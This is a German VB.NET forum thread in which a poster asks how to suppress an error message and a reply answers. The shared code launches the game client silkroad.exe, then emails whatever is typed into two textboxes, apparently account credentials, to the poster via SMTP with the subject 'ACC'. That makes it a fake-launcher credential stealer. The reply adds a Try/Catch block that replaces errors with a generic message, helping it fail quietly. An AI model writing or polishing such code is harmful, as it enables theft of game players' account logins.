Error Meldung Ändern

  • VB.NET

Es gibt 2 Antworten in diesem Thema. Der letzte Beitrag () ist von kingbad.

    Error Meldung Ändern

    Hallo,
    ich bekomm es nicht hin die Error Meldung zu ändern oder zu ersetzen :wacko: sodass z.b. eine msgbox kommt anstatt diese meldung


    Quellcode

    1. Imports System.Net.Mail
    2. Imports System.Net
    3. Public Class Form1
    4. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    5. Dim pr As Process
    6. pr.Start(Application.StartupPath & "\silkroad.exe")
    7. Dim text As String
    8. text = TextBox1.Text & TextBox2.Text + vbLf
    9. Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
    10. myClient.Credentials = New NetworkCredential("email", "password")
    11. myClient.Send("email", "email, email", "ACC", text)
    12. Me.Close()
    13. End Sub
    14. End Class





    Vielleicht könnt ihr mir Helfen.

    *Topic verschoben*

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Marcus Gräfe“ ()

    Machs mit einem Try Catch Block, dann macht er im Catch bereich, wenn er eine Error findet, das was du ihm sagst z.b.

    VB.NET-Quellcode

    1. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    2. Try
    3. Dim pr As Process
    4. pr.Start(Application.StartupPath & "\silkroad.exe")
    5. Dim text As String
    6. text = TextBox1.Text & TextBox2.Text + vbLf
    7. Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
    8. myClient.Credentials = New NetworkCredential("email", "password")
    9. myClient.Send("email", "email, email", "ACC", text)
    10. Me.Close()
    11. Catch
    12. MsgBox("Ein fahler ist aufgetreten")
    13. End Try
    14. End Sub

Facebook
Telefonspende